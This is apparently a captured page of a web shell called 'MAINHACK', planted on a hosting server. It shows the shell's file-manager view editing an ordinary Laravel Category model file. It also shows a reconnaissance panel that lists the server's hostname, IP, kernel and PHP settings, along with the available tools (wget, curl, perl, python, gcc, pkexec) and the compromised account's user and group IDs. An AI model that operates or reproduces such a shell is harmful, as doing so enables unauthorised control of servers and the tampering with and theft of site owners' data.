[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Category.php
<?php namespace App; use DB; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class Category extends Model { use SoftDeletes; /** * The attributes that should be mutated to dates. * * @var array */ /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; /** * Combines Category and sub-category * * @param int $business_id * @return array */ public static function catAndSubCategories($business_id) { $all_categories = Category::where('business_id', $business_id) ->where('category_type', 'product') ->orderBy('name', 'asc') ->get() ->toArray(); if (empty($all_categories)) { return []; } $categories = []; $sub_categories = []; foreach ($all_categories as $category) { if ($category['parent_id'] == 0) { $categories[] = $category; } else { $sub_categories[] = $category; } } $sub_cat_by_parent = []; if (! empty($sub_categories)) { foreach ($sub_categories as $sub_category) { if (empty($sub_cat_by_parent[$sub_category['parent_id']])) { $sub_cat_by_parent[$sub_category['parent_id']] = []; } $sub_cat_by_parent[$sub_category['parent_id']][] = $sub_category; } } foreach ($categories as $key => $value) { if (! empty($sub_cat_by_parent[$value['id']])) { $categories[$key]['sub_categories'] = $sub_cat_by_parent[$value['id']]; } } return $categories; } /** * Category Dropdown * * @param int $business_id * @param string $type category type * @return array */ public static function forDropdown($business_id, $type) { $categories = Category::where('business_id', $business_id) ->where('parent_id', 0) ->where('category_type', $type) ->select(DB::raw('IF(short_code IS NOT NULL, CONCAT(name, "-", short_code), name) as name'), 'id') ->orderBy('name', 'asc') ->get(); $dropdown = $categories->pluck('name', 'id'); return $dropdown; } public function sub_categories() { return $this->hasMany(\App\Category::class, 'parent_id'); } /** * Scope a query to only include main categories. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ public function scopeOnlyParent($query) { return $query->where('parent_id', 0); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.87 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285